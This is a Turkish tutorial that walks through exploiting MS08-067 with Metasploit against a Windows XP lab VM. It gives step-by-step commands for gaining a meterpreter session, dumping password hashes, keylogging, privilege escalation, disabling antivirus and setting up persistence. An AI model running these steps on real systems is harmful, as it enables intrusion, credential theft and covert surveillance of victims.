Metasploit ile Bir Sızma Uygulaması (ms08-067) | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Merhaba, bu makalede sizlere Metasploit Framework'ü kullanılarak hedef bir sisteme sızma örneği (exploitation) ve hedef sistemde bir payload çalıştırma örneği gösterilecektir. Bu yazıya eğer önceki ilintili konuyu okumadan başladıysanız konu zincirini göstermek bağlamında aşağıdaki liste verilmiştir:
Bu makalede klasik bir uygulama olan Kali sanal makinasından Metasploit ile Windows XP sanal makinasına sızma ve Windows XP sanal makinasında çeşitli eylemler gerçekleştirme işlemleri gösterilecektir. Bu uygulama sizlere Metasploit ile neler yapabileceğine dair bir ufuk çizecektir. Öncelikle ms08-067 diye literatüre geçen zafiyetin kaynağı olan netapi nedir ve neler yapabilir ondan bahsedelim. Biraz ArkaplanWindows sistemlerde makinaların birbirleriyle dosya paylaşımı yapabilmeleri için iki servis (program) mevcuttur. Bunlar microsoft-ds ve netbios-ssn şeklindedir. Bu iki servis dosya paylaşım protokolü olan SAMBA'yı kullanırlar. Fakat microsoft-ds servisi SAMBA protokolü üzerinden direk iletişim kurabilmeyi destekleyen LAN'daki cihazlarla bağlantı kurarken netbios-ssn servisi ise SAMBA protokolü üzerinden direk iletişim kurabilmeyi desteklemeyen LAN'daki cihazlarla NetBios api'ı üzerinden bağlantı kurar. microsoft-ds servisi port 445'i kullanırken Netbios-ssn servisi port 139'u kullanır.Port 445: SMB -> .... -> TCP Port 139: SMB -> NetBIOS -> TCP (Uygulama Katmanı) (Taşıma Katmanı) Netapi (netapi.dll) denilen şey ise bir SMB (yani SAMBA) modülüdür. Yerel ağda (LAN'da) dosya paylaşımını sağlayan bir sistem kütüphanesidir. ![]() Piyasaya çıkmış Netapi exploit'i (zararlısı) hedef sistemdeki microsoft-ds servisi kanalıyla ulaşılan netapi dll'inin dizin yolu genelleştirme kodundaki bir parsing (ayrıştırma) hatasından yararlanır ve bu yolla hedef sistemde komut çalıştırma imkanı sunar. Saldırı BaşlıyorPekala, netapi'nin windows sistemlerde dosya paylaşımı için kullanılan bir sistem kütüphanesi olduğunu öğrendikten sonra bu kütüphanenin açığından faydalanarak hedef sisteme sızma uygulamamıza başlayabiliriz. Uygulama sırasında kullanılacak gereçler şu şekildedir:Gereksinimler
Öncelikle hedef sisteme saldırabilmek için hedef sistemin adresine ihtiyacımız vardır. Nasıl askeri anlamda silahlı kuvvetlerimiz taarruz emri için önce saldırılacak noktanın koordinatlarını belirler, aynı onun gibi internet dünyasında da hedef bir noktaya saldırmak için önce onun konumunu (yani IP'sini) öğrenmemiz gerekir. Bu işlem için Windows XP sanal makinanızda bir komut ekranı (CMD penceresi) açın ve aşağıdaki komutu girin: Not: Bu saldırı hedef sistemde güvenlik duvarı (firewall) kapalıysa başarılı olacaktır. Eğer güvenlik duvarı açıksa ve 445nci portu filtreliyorsa bu durumda microsoft-ds servisine ulaşılamayacağından gönderilecek zararlı istekler hedefine varamayacaktır ve saldırı bertaraf edilmiş olacaktır. Windows XP CMD: ipconfig Çıktı: ![]() Aldığınız IP adresini bir köşeye not edin ve Kali sanal makinanıza geçin. Kali sanal makinasında hazır kurulu olarak gelen nmap aracı ile hedef sistemi basit bir port ve servis taramasına tabi tutun (Not: Nmap taramaları hakkında detaylı bilgi ilerleyen günlerde paylaşılacaktır). Bu tarama bize hedef sistemdeki açık portları ve açık portlardaki çalışan servisleri (programları) gösterecektir. Kali Linux Terminal: nmap X.X.X.X Çıktı: ![]() Çıktıdan görülebileceği üzere hedef sistemde (Windows XP'de) 445 nolu port açık ve Microsoft-ds dosya paylaşım servisi çalışmakta. Şimdi topladığımız bilgiler sonrası saldırıya geçebiliriz.
Not: Bazen bazı servisler var olması gereken portta olmayabilir. Örneğin herkesin bilebileceği gibi web sunucu yazılımları genellikle 80 portundan (http olarak) dışarıya çıkarlar. 443 portundan ise şifreli olarak (https olarak) dışarıya çıkarlar. Ancak web sunucu yöneticisi isterse 80 nolu porttan şifreli olarak (https olarak) çıkışı sağlayabilir. Bu işlem birkaç ufak konfigurasyon ayarı ile mümkündür. Dolayısıyla microsoft-ds servisi için varsayılan port numarası 445 olsa bile hedef sistemi yönetenlerin microsoft-ds servisinin çalıştığı port numarasını farklı bir porta çekebileceğini unutmayın. Nmap bu gibi durumlarda zaman zaman yardımınıza yetişecektir. Şimdi metasploit ile netapi zararlımızı kullanarak hedef sisteme sızabiliriz. Metasploit framework ve arayüzü msfconsole'u başlatalım. Kali Linux Terminal: service postgresql start service metasploit start msfconsole Çıktı: ![]() msfconsole arayüzünü başlat dediğimizde yukarıdaki resimde olduğu gibi msf > bir satır bizi karşılar. Bu satır sizin msfconsole oturumuna geçtiğinizi ifade eder. Msfconsole sorunsuz açıldığına göre şimdi zararlımızı seçelim. Kali Linux Terminal: msf > use exploit/windows/smb/ms08_067_netapi use komutu modül seçmeye yarar. Metasploit komutlarının neredeyse tamamına yakınını sizlerle şu yazıda Metasploit Komutları paylaşılmıştır. netapi zararlımızı seçtikten sonra bu zararlıya hedef sistemi öğretelim: Kali Linux Terminal: msf exploit(ms08_067_netapi) > set RHOST X.X.X.X // Windows XP IP'si RHOST'a, yani Remote Host'a (Uzak Konuma) hedef sistemin IP'si girilir. Zararlımıza (exploit'e) hedefi gösterdikten sonra bir de payload verelim. Kali Linux Terminal: msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp Payload'a kendi IP'mizi verelim ki exploit ile hedef sisteme sızdığımızda ve payload akabinde hedef sistemde çalıştığında bize bağlantısını gönderebilsin. Böylece hedef sistemi payload'la kumanda edebilelim. Kali Linux Terminal: msf exploit(ms08_067_netapi) > set LHOST X.X.X.X // Kali Linux IP'si Not: Kali Linux'taki IP'nizi öğrenmek için terminal penceresine ifconfig komutunu girebilirsiniz. Tüm bu yapılan işlemleri gösteren ekran görüntüsü aşağıda verilmiştir: ![]() Son olarak exploit (zafiyeti sömür) komutunu girerek hedef sisteme zararlı paketimizi payload ile beraber gönderelim. Kali Linux Terminal: msf exploit(ms08_067_netapi) > exploit Çıktı: ![]() Bu görmüş olduğunuz ekranda meterpreter > yazan yer sizin meterpreter (kullandığımız payload'un ismi) oturumuna geçtiğinizi göstermektedir. Yani hedef sistemdeki payload'umuz (meterpreter) çalışmış ve bize bağlantı yollayabilmiş ki biz meterpreter oturumuna geçebilmişiz. Bu noktadan sonra yapılabilecek bir dünya işlem vardır. Meterpreter siber güvenlik dünyasında birçok siyah şapkalı hacker'ın (çalıp çırpmaya dönük hacker'ların) rüyalarını süsler. Çünkü bir sisteme meterpreter'ı atıp çalıştırabilirseniz tıpkı hedef makinanın karşısında oturan kullanıcı gibi siz o makinayı kontrol edebilirsiniz. Herşeyiyle... Ne demek istiyorsun sorusunun cevabını makalenin ilerleyen paragraflarında bulabilirsiniz. Saldırıda İlerleyelimHedefe sızdıktan sonra ve meterpreter adlı payload'umuzun oturumunu elde edebildikten sonra yapılacak işlem seçtiğimiz payload'un yeteneklerini sırayla denemek olabilir:a) Shell Oturumunu Devralma Shell oturumunu devralma ile hedef sistemin komut satırını komut satırımıza getirebiliriz. Yani Kali'den terminal ekranına gireceğimiz her bir komutu Windows XP'nin karşısında oturan bir kişi Windows XP'nin cmd ekranına birer birer giriyormuşçasına çalıştırabiliriz ve çıktılarını kendi makinamızdan alabiliriz. Bu işlem için komut satırı oturumu devralmamızı sağlayan meterpreter komutu shell i kullanabiliriz: Kali Linux Terminal: meterpreter > shell Çıktı: ![]() Görüldüğü üzere windows komut satırı linux komut satırımıza geldi: Kali Linux Terminal: C:\WINDOWS\System32> Bu noktada Windows'un komut satırı kodlaması olan CMD komutlarını bilmeniz hayati önem taşıyor. Zira bu sayede açılan bu kanaldan gireceğiniz CMD kodları ile sanki Windows XP'nin karşısında oturuyormuş gibi bilgisayara hükmedebilirsiniz. Örneğin aşağıda hedef sistemin masaüstüne gidilişini ve hack'lendiniz tarzında bir dosya konuluşunu görüntülemektesiniz: Kali Linux Terminal: C:\WINDOWS\System32> cd ../../ C:\> dir Çıktı: ![]() Kali Linux Terminal: C:\WINDOWS\System32> cd "Documents and Settings" C:\> dir Çıktı: ![]() Kali Linux Terminal: C:\WINDOWS\System32> cd pentest C:\> cd Desktop C:\> dir Çıktı: ![]() Kali Linux Terminal: C:\WINDOWS\System32> echo "Merhaba dostum, sistemine sızıldı -,-" > HACKED.txt Çıktı: [ Hedef sisteme dosya konur ] ![]() [ Hedef sistemdeki kullanıcı dosyayı görür ] ![]() ![]() Burada size shell oturumu alınarak yapılabileceklerden sadece bir tanesi gösterilmiştir. Saldırganlar shell oturumu devralarak örneğin hedef sistemdeki dosyaların içeriğini okuyabilir, dosyaları silebilir, dosya içeriklerini değiştirebilir, zararlı başka dosyalar indirtebilir (shell oturumu üzerinden windows sistemelere nasıl dosyalar indirilebileceğine dair yöntemler sonradan paylaşılacaktır), sistemde kendine kullanıcı hesabı açtırabilir (ki böylece sisteme olan erişimini kalıcı hale getirmeye dair bir teşebbüste bulunulmuş olur),...vs. Yani özetle hedef sistemin karşısında oturan kullanıcının yapabileceği her şeyi saldırgan edindiği yetki ölçüsünde yapabilir. Burada saldırganın komut satırı kodlamasına hakimiyeti sızdığı hedef sistemde yapabileceği zararlı aktiviteler konusunda belirleyici olur. b) Windows Sistemdeki Oturum Ömrümüzü Uzatma netapi exploit'i ile sisteme sızmıştık ve meterpreter oturumu elde etmiştik. Bizim meterpreter payload'umuz aslında sızdığımız Windows XP makinasındaki bir servisin yerine geçmiştir. Meterpreter payload'umuzun hedef sistemdeki hangi servisin yerine geçtiğini görmek için pwd komutunu kullanabiliriz: Kali Linux Terminal: meterpreter > pwd Çıktı: ![]() pwd komutu normalde bir linux komutudur ve bulunulan dizini vermeye yarar. Meterpreter ise bu komutu yerine geçtiği servisin bulunduğu dizini vermek için kullanır. Görüldüğü üzere meterpreter payload'u hedef sistemde system32.exe process'i olarak görünmekteymiş. Diyelim ki kısa ömürlü bir process'te oturumu devralabildik. Bu durumda migrate (yani göç etme) işlemini yapmamız gerekir. Bu kelime aslında tam da anlamının işaret ettiği gibi bir eylemi ifade eder. Yani process'ten process'e taşınma. Meterpreter payload'umuzu mesela Internet Explorer process'ine taşıyabiliriz. Fakat o zaman Windows XP'yi kullanan kullanıcı Internet Explorer'ı kapadığı an bizim bağlantımız kopar. Daha uzun ömürlü ne olabilir? Mesela explorer.exe. Bu process Windows sistemlerde gördüğünüz pencerelerin yazılımına dair bir process'tir. Linux'taki pencereleri ise örneğin Gnome yazılımı vermektedir. Explorer.exe hemen hemen en uzun ömürlü process'lerden biridir. Çünkü pencereler (pencerelerden kastım ekranda gördüğünüz her bir grafik bileşeni, mesela başlat çubuğu gibi) ancak windows işletim sistemi kapatıldığında (shut down edildiğinde) sonlanacak bir process'tir. Dolayısıyla ömrü uzatma gereği duyulan bir senaryoyla karşılaşıldığında yapılacak işlem bir meterpreter komutu olan migrate'i kullanmaktır. Ama önce edinmeniz gereken bir bilgi vardır. Göç edeceğiniz process'in kimlik numarasını (id'sini) öğrenmek. Bu işlem için ps komutu kullanılabilir: Kali Linux Terminal: meterpreter > ps Çıktı: ![]() Görüldüğü üzere explorer.exe process'inin pid'si (process id'si) 1568 şeklindeymiş. Bu bilgiden hareketle uzak sistemdeki meterpreter payload'umuzu explorer.exe process'ine migrate komutu ile taşıyalım: Kali Linux Terminal: meterpreter > migrate 1568 Çıktı: ![]() Görüldüğü üzere migrate (yani göç) işlemi başarılı bir şekilde oldu mesajı gelmiştir. Gerçekten meterpreter payload'umuzu explorer.exe process'ine taşıyabildik mi diye test etmek amaçlı pwd komutumuzu tekrar kullanalım: Kali Linux Terminal: meterpreter > pwd Çıktı: ![]() Görüldüğü üzere mevcut kullanıcının ana dizini görüntülenmektedir. Yani migrate işlemi başarılı olmuştur ve hedef sistemdeki meterpreter oturum ömrümüz pencere yönetim sistemi process'inin (yani sistemin) açık kaldığı süre kadar olmuştur.
Ek Bilgi:
Pencere yönetim sistemi (explorer.exe, Gnome, Unity,...) oturumları kullanıcı oturumlarının ana dizi altında gizli dosya olarak yer alırlar. Örneğin linux'ta parolanızı girip oturum açtığınızda linux pencere yönetim sistemi olan Gnome'da da bir oturum açmış olursunuz. Bu oturumun session ve çerez dosyaları (oturum dosyaları) kullanıcı hesabının ana dizini altında (home dizini altında) yer alır. Linux sistemlerdeki GNOME pencere yönetim sistemi için bu oturum dosyalarından birincisi .xsession'dır, diğeri de .Xauthority'dir. Örneğin nadir de olsa karşılaşılan bir örnekten bahsedelim. Linux sistemlerde bazen kullanıcılar giriş yaptıkları kullanıcı hesabına ait home dizinine root izni verebiliyorlar. Bu durumda o dizin artık root'a (yani linux sistemelerde en yetkili kullanıcıya) ait bir dizin olmuş oluyor ve kullanıcının mevcut dizini olmaktan çıkıyor. Ardından kullanıcı bilgisayarı yeniden başlattığında ve linux oturum açma ekranına geldiğinde parolasını girecektir, fakat parolasını doğru girmesine rağmen (ekranda da parolanız yanlış dememesine rağmen) giriş yapamayacaktır. Bunun nedeni kullanıcıya ait (ona has) bir ana dizinin (home dizininin) artık olmamasından dolayıdır. Yani oturum açma sırasında pencere yönetim sistemi de oturum açmaya çalışacağından pencere yönetim sisteminin session ve çerez dosyaları yerleşecek yer bulamayacaktır. Bu nedenle görsel oturum açılamayacaktır (Not: Normalde çerez istemcide, session sunucuda yer alan dosyalardır. Fakat pencere yönetim sistemlerini biz bilgisayarlarımızda hem istemci hem de sunucu olarak kullandığımız için ikisi bir arada makinamızda yer almaktadır). Sonuç olarak hedef sistemdeki meterpreter oturumumuzun ömrü migrate komutu ile göç ettiğimiz process'in ömrü kadar olmuştur. Bu şekilde ömür uzatarak hedef sistemde daha fazla bilgi toplama, daha fazla işlemlerde bulunma imkanı elde edebiliriz. c) Windows Hesap Bilgilerinin (örn; Parolaların) Tutulduğu Dosyayı Okuma Windows sistemlerde kullanıcı hesapları bilgileri SAM adı verilen bir dosyada tutulur. Bu dosyanın içeriğini çekmek için meterpreter'in hashdump adlı komutu kullanılabilir: Uyarı: Kali Linux Terminal ekranında bildiğiniz üzere şu an shell oturumu açık vaziyette. Msfconsole'u kapamadan shell oturumunu sonlandırıp tekrar meterpreter oturumuna geçmek için CTRL + C tuş kombinasyonuna basın. Ardından "y" harfini girin ve enter'layın. Kali Linux Terminal: meterpreter > hashdump Çıktı: ![]() Gördüğünüz üzere hedef Windows XP sistemindeki tüm hesapların dökümü elimize geçmiştir. Burada kullanıcı adlarını görüntülemektesiniz ve kullanıcı adlarının sahip olduğu parolaları hash'lenmiş olarak (yani geri dönülmez şekilde şifrelenmiş olarak) görüntülemektesiniz. Bu noktadan sonra yapabileceğiniz işlem bu parolaların açık halini elde etmeye çalışmak olabilir. Bunun için şifre kırma metotlarından sözlük saldırısı (dictionary attack) ve kaba kuvvet saldırısı (brute force attack) yapabilen JohnTheRipper, Hashcat gibi araçları kullanabilir ya da rainbow tablolarından yararlanan Ophcrack gibi araçlarla daha hızlı sonuca ulaşmayı deneyebilirsiniz. Sözlük saldırısı demek binlerce, belki milyonlarca sık kullanılan şifrelerin alt alta yer aldığı bir txt dosyasının programa verilip her satırının (yani her olası şifrenin) şifremiz bu mu değil mi diye sırayla denendiği saldırı türüne denir. Milyonlarca sık kullanılan şifreler arasından birisi eşleştiği an şifre kırıldı (tespit edildi) denir. Kaba kuvvet saldırısı programa verilecek karakter seti (örn; a'dan z'ye tüm harfler ve A'dan Z'ye tüm harfler gibi), minimum kelime uzunluğu ve maksimum kelime uzunluğu bilgileri doğrultusunda programın kendisine verilen sınırlar doğrultusunda elde edilebilecek maksimum tüm kelimeleri sırasıyla şifre bu mu değil mi diye denemesine denir (detaylı bilgi için bkz. Brute Force Konulu Bir Ders) Rainbow saldırısı ise normal sözlük ve kaba kuvvet saldırılarına nazaran hız açısından daha avantajlı bir saldırı türüdür. Çünkü sözlük ve kaba kuvvet saldırılarında hash'lenmiş bir şifreyi kırmak için denenen her kelimenin önce hash'i alınır ve sonra kıyaslamaya tabi tutulur. Denenecek her bir şifrenin hash'e dönüştürülmesinde kullanılacak hash algoritmasının karmaşıklığına göre saldırı uzar. Rainbow'da ise denenecek sık kullanılan şifreler ve sık kullanılan şifrelerin hash halleri hazır halde yer aldığından denenecek şifrenin hash dönüştürmesine tabi tutulması gibi bir durum söz konusu değildir. Rainbow'da denenen şey sadece olası parolanın hash halidir. Hash'ler birbirleriyle tamamen aynı olduğunda hemen o hash'e karşılık gelen açık parola program ekrana basılır. Bu nedenle Rainbow saldırıları normal sözlük ve kaba kuvvet saldırılarına göre çok daha hızlı bir saldırı türü olarak bilinir. Şifreyi tespit ettiniz (teknik tabirle kırdınız) diyelim. Bu noktadan sonra yapılabilecek işlemlerin haddi hesabı yoktur. Karşınızdaki kullanıcı makinesinin fişini çekmediği sürece makinayı kullanan artık sizsiniz, o değil. d) Hedef Sistemin Ekran Görüntüsünü Alma Hedef sistemde kullanıcı makinasını kullanırken sistemin ekran görüntüsünü çekip kendi sistemimizde görüntüleyebiliriz. Bunun için bir meterpreter komutu olan screenshot kullanılabilir: Kali Linux Terminal: meterpreter > screenshot Çıktı: ![]() Çıktı bize uzak sistemin ekran görüntüsünün sistemimizin /root dizini altında olduğunu söylemekte. Oraya bakalım: ![]() ![]() Görüldüğü üzere hedef sistemin ekran görüntüsünü elde edebildik. Bunu meterpreter oturumumuz sonlanmadığı sürece dilediğimiz kadar tekrarlayabiliriz. Belirli bir bash script ya da ruby / perl / pyhton script ile (hangisi kolayınıza geliyorsa) screenshot komutunu döngüye ve belli bir zaman aralığına alıp nizami ekran alıntısı kayıtları tutulabilir. e) Hedef Sistemi Fareyle Kontrol Etme Peki hedef sistemin ekran görüntüsünü alabildik. Hedef sistemin ekranını canlı olarak görüntüleyebilir miyiz? Hatta ekranını uzaktan faremizle ve klavyemizle kumanda edebilir miyiz? Cevap evet. Bu iş için birkaç araç vardır. Meterpreter bunlardan bir tanesini, VNC'yi kullanmaktadır. Kali Linux sistemimizden bir meterpreter komutu olan run vnc komutunu girdiğimizde uzak sistemdeki meterpreter payload'umuz tetiklenir ve meterpreter bulunduğu sistemde bir VNC sunucusu açar. Aynı anda Kali linux sistemimizde ise vnc run komutu sonrası bir VNC istemcisi açılır. Hedef sistemdeki VNC sunucusu ayağa tamamen kalkar kalkmaz sistemimizdeki VNC istemcisi ona bağlanır ve uzak sistemin ekranı canlı olarak karşımıza gelir. Bundan sonra makinamızdan uzak makinaya görsel olarak hükmedebiliriz. Kali Linux Terminal: meterpreter > run vnc Çıktı: f) Hedef Sistemde Girilen Tuşlamaları Dosyalamak Nam-ı diğer keylogger, yani tuş log'layıcı özelliğine de sahip olan meterpreter'ı uzak sistemde yapılan tuşlamaları yakalayacak şekilde tetiklemek için bir meterpreter komutu olan run keylogrecorder komutu kullanılabilir. Fakat burada bir ayrıntı vardır: Örneğin sadece Internet Explorer tarayıcısında tuşlanan karakterleri sniff’lemek istersek Meterpreter payload’umuzu iexplorer.exe process'ine migrate etmemiz gerekir veya sadece Firefox tarayıcısında tuşlanan karakterleri sniff'lemek istersek Meterpreter payload'umuzu firefox.exe process'ine migrate etmemiz gerekir. Eğer kurban sistem oturumunu açarkenki tuşladığı şifreyi sniff’lemek istersek o zaman Meterpreter payload’umuzu winlogon.exe process'ine migrate etmemiz gerekir. Tüm bunlarla beraber sistemin her noktasında tuşlanan karakterleri görmek istersek o zaman Meterpreter payload’umuzu explorer.exe process'ine migrate etmemiz gerekir. Tuşlanan karakterler sistemimizin /root/.msf4/logs/script/keylogrecorder/ dizindeki oluşturulacak text dosyasına kaydolacaktır. Kali Linux Terminal: meterpreter > run keylogrecorder Çıktı: [ Meterpreter tuş dosyalamak üzere tetiklenir ] ![]() [ Hedef sistemde tuşlamalar yapılır ] ![]() [ Meterpreter'ın sistemimize gönderdiği bilgiler txt dosyasına kaydolur ] ![]() [ Yapılan tuşlamaların kaydedildiği dosyanın içeriği ekrana basılır ] ![]() Yukarıdaki sıralı resimlerde gösterildiği üzere run keylogrecorder komutu ile sniffing işlemi başlatıldı. Hedef sistemde tuşlamalar yapıldı. Ardından sistemimizdeki log'lama işlemi CTRL + C kombinasyonu ile durduruldu. Bu şekilde o ana kadarki girilen tüm tuşlamalar txt dosyasına kaydedildi. Kaydedilen dosya dizin yolundan dosyanın içeriği linux komutu olan cat ile ekrana basıldı. Son resimde gösterilen uzak sistemdeki girilen tuşlamaların kaydedildiği dosyada uzak sistemdeki kullanıcının girdiği user1 ve password bilgileri yer almaktadır. Saldırganlar bu şekilde hedef sistemdeki kritik tuşlanan bilgileri ayıklayıp hesap ele geçirme gibi işlemlerde bulunabilmektedirler. Sonuç olarak yapılan bu işlem ile hedef sistemde klavyeden tuşlanan bilgiler sessiz sedasız yerel sisteme çekilmiştir. g) Hedef Sistemde Yetki Yükseltme Hedef sistemdeki Meterpreter’i farklı farklı process’lere migrate ederek sistem üzerindeki yetkimizi değiştirebiliriz. Aşağıdaki resimde getuid komutu ile bulunulan process’in sistem üzerindeki yetkisi öğrenilebilir. Kali Linux Terminal: meterpreter > getuid Çıktı: ![]() Bir meterpreter komutu olan getsystem ile hedef sistemdeki yetkimizi en üst seviyeye yükseltebiliriz: Kali Linux Terminal: meterpreter > getsystem meterpreter > getuid Çıktı: ![]() Görüldüğü üzere hedef sistemdeki hak seviyemiz pentest kullanıcı (hesabı) seviyesinden Windows sistemlerde en yüksek seviye olan SYSTEM seviyesine ulaşmıştır. Bu v.b. işlemlere privilege escalation (yetki yükseltme) adı verilir. h) Hedef Sistemde Yetki Yükseltme 2 Privilege Escalation (Yetki Yükseltme) konusunda bir diğer yöntem uzak sistemdeki belirli bir process’in (web jargonunda çerez diye adlandırılan) "token"ını çalarak o process'in yetkisinde sistemde bulunmaya dayanır. Bu işlem için meterpreter payload'umuzdaki incognito (Tebdil-i Kıyafet) uzantısını etkin kılmamız gerekir: Kali Linux Terminal: meterpreter > use incognito Çıktı: ![]() Sistemdeki mevcut yetkimizi öğrenelim ve ardından belirlediğimiz bir process'in pid'sini kullanarak o process'in sistemdeki yetkisine geçiş yapalım. Kali Linux Terminal: meterpreter > getuid meterpreter > steal_token XXXX // Hedef Process'in PID'si Çıktı: ![]() Bu işlem sırasında genellikle hata mesajı terminalde sizi karşılar, ancak sorun yoktur. İşlem gerçekleşmiştir. getuid komutunu kullanarak hedef sistemdeki mevcut yetkinizin değiştiğini gözlemleyebilirsiniz: Kali Linux Terminal: meterpreter > getuid Çıktı: ![]() Görüldüğü üzere sistemdeki seviyemiz SYSTEM'dan pentest kullanıcı hesabı düzeyine geçmiştir. Bu yapılan işlem ile aslında yetki düşürme işlemi yapılmış oldu, ancak aynı işlem tersinden de gerçekleştirilebilir. Buradaki amaç herhangi bir spesifik servisin sistemdeki yetkisine geçişi göstermektir. i) Hedef Sistem Gerçek Bir Makina mı Yoksa Sanallaştırma Ortamındaki Bir Makina mı Tespiti Bazen sızılan sistemler VMWare ya da VirtualBox gibi sanallaştırma ortamlarında açılmış sanal makinalar olabilmektedir. Örneğin bu makalede üzerinde testler yapılan hedef sistem olan Windows XP, VirtualBox yazılımı içerisinde açılmış bir alanda çalıştırılmaktadır. Dolayısıyla bir sanal makinadır. Bir sistemin sanal makina olup olmadığını tespit etmek hedef network haritasındaki (topolojisindeki) yerimizi öğrenmek adına bir bilgi verir. Eğer sanal makinadaysak atlamamız gereken bir ana makina (yani sanal makinayı yazılım gibi çalıştıran gerçek makina) vardır. Ondan sonra hedef network'te atlamalar hayal edilebilir. Eğer hedef sistem direk gerçek makinaysa bu durumda işler biraz daha kolaylaşır. Sonuç olarak yol haritası belirlemek adına hedef sistem sanal mı gerçek mi bilgisini edinmek işlevseldir. Meterpreter payload'umuz yerleştiği hedef sistemi test eden bir komuta sahiptir. Aşağıdaki kodlamada öncelikle run ( ve iki kere TAB) komutu ile nelerin meterpreter içerisinde çalıştırılabileceği gösterilmiştir. Ardından hedef sistemin sanal makina mı değil mi testini yapacak meterpreter içerisindeki betiğin kullanımı gösterilmiştir: Kali Linux Terminal: meterpreter > run // ve iki kere TAB tuşuna basılır meterpreter > run checkvm Çıktı: ![]() ![]() Yukarıdaki resimden görebileceğiniz üzere hedef sistemin Sun (el değiştirme sonucu yeni adıyla Oracle) VirtualBox sanal makinası olduğu anlaşılmıştır. Şayet hedef sistem sanal bir makina olmasaydı sizi şöyle bir çıktı karşılayacaktı: ![]() j) Hedef Sistem Hakkında İçerden Bilgi Toplama Meterpreter komutu olan winenum komutu hedef sistemden toplanabilecek ne kadar bilgi varsa (örn; ps bilgisi, ortam değişkenleri(environment variables) listesi, kullanıcı hesapları listesi, yüklü yazılımların listesi, network interface’leri, route tablosu, arp girdileri,...) makinamıza dosyalar halinde getirir. Bu bilgiler bize hedef sistemi tam manasıyla tanıma ve bambaşka saldırılarda bulunma imkanı sunabilir. Aşağıda run winenum komutu ile hedef sistemden nasıl bilgi toplaması yapıldığı gösterilmiştir: Kali Linux Terminal: meterpreter > run winenum Çıktı: [ Meterpreter'daki bilgi toplama betiği tetiklenir ] ![]() [ Bilgilerin toplandığı dizin kopyalanır ] ![]() [ Toplanan bilgiler listelenir ] ![]() [ Toplanan bilgilerden bir tanesinin içeriği ekrana basılır. ] ![]() Hedef sistem hakkında içerden bilgi toplamaya yarayan winenum betiği gibi yine içerden bilgi toplamaya yarayan scraper betiği ekstradan kullanılabilir. Kali Linux Terminal: meterpreter > run scraper Çıktı: [ Hedef sistem hakkında içerden bilgi toplama betiği tetiklenir ] ![]() [ Toplanan bilgilerin olduğu dizine gidilir ve kaydedilen bilgiler listelenir ] ![]() [ Dosya halinde kaydedilen bilgilerden bir tanesinin içeriği ekrana yansıtılır ] ![]() l) Hedef Sistemdeki Antivirus Yazılımlarını Kapama Sızma işlemi sırasında en büyük sorun uzak sistemdeki Antivirus yazılımıdır. killav, yani kill (a)nti (v)irus), betiği ile uzak sistemdeki Antivirus process’ini durdurabilir ya da sonlandırabiliriz. Ancak killav script’i Antivirus’ten kaçış için kesin çözüm değildir. Yine de deneme maksadıyla kullanılabilir ve eğer başarılı olunursa sızmanın şiddetini artırma sırasında çıkabilecek sorunlardan bizi kurtarabilir. Uyarı: Aşağıdaki işlem birebir pratiği yapılmamış bir işlemdir. Kali Linux Terminal: meterpreter > run killav Çıktı: ![]() m) Hedef Sistemdeki Antivirus Yazılımlarını Kapama 2 Hedef sistemdeki antivirus ve firewall gibi yazılımları kapama konusunda bir meterpreter komutu olan getcountermeasure da kullanılabilir: Uyarı: Aşağıdaki işlem birebir pratiği yapılmamış bir işlemdir. Kali Linux Terminal: meterpreter > run getcountermeasure Çıktı: ![]() n) Hedef Sistemde Kalıcı Olma Hedef sistemdeki meterpreter oturumumuzu kalıcı hale getirmek için meterpreter'in persistence (yani kalıcı olma) betiği tetiklenebilir: Uyarı: Aşağıdaki işlem birebir pratiği yapılmamış bir işlemdir. ![]() Yukarıdaki resimde run persistence komutunun aldığı parametreleri açıklayacak olursak -X parametresi sistem reboot edildiğinde dahi meterpreter’ı başlat emrini verir. -i parametresi persistence script'inin uzak sistemde hangi aralıklarla tetikleneceğini belirten zaman dilimini, -p parametresi meterpreter oturumunu kumanda edecek olan host’un (yani Kali makinesinin) port numarasını, -r ise meterpreter oturumunu kumanda edecek olan host'un (yani Kali makinesinin) IP numarasını argüman olarak alır.
Meterpreter'la hedef sistemde daha fazla ne yapabilirim diye araştırmak isterseniz Kali Linux Terminal: meterpreter > help demeniz yeterlidir. Bu size meterpreter komutlarının listesini ve açıklamalarını verecektir. Ekstra [Uzak Sistemdeki Ağ Adaptörünü Dinleme]Yerel network'te bir MITM (yani araya giren adam) saldırısı türü olan arp spoofing yaparak hedef makinanın trafiği sniff'lenebilir (okunabilir). Bu şekilde örneğin hedef makinada internetle konuşan bir yazılıma girilen oturum bilgileri (credentials) elde edilebilir. Bu konuda işin a-b-c sini anlatan detaylı açıklamalar ve uygulamalı gösterimler şu yazıda yer almaktadır: ARP Spoofing Saldırısı Hakkında Peki hedef makina ile aynı local ağda değilsek hedef makinanın trafiğini yine de sniff'leyebilir miyiz? Bu işlem için hedef makinaya sızmak ve ağ adaptöründeki trafiği sistemimize download etmek (indirmek) gerekir. Meterpreter ile bu mümkündür. Bu başlıkta hedef makinayla aynı local (yerel) ağda olmadan nasıl hedef makinanın trafiğinin sniff'lenebileceği gösterilecektir.Öncelikle hedef makinaya yine netapi zafiyeti ile sızılacaktır. Ardından meterpreter payload'u ile uzaktaki hedefin ethernet kartı dinlenecektir. Daha sonra dinleme işlemi sonlandırılacak ve hedef makinada toplanan trafik paketlerini cap, yani (cap)ture, uzantılı dosya olarak makinamıza indireceğiz. En sonunda da cap dosyasını (hedef sistemde toplanmış trafik paketlerini) network'çülerin sıklıkla kullandığı Wireshark adlı yazılım ile inceleyip kullanıcı adı ve şifre gibi kritik bir bilgiyi elde edeceğiz. Gereksinimler
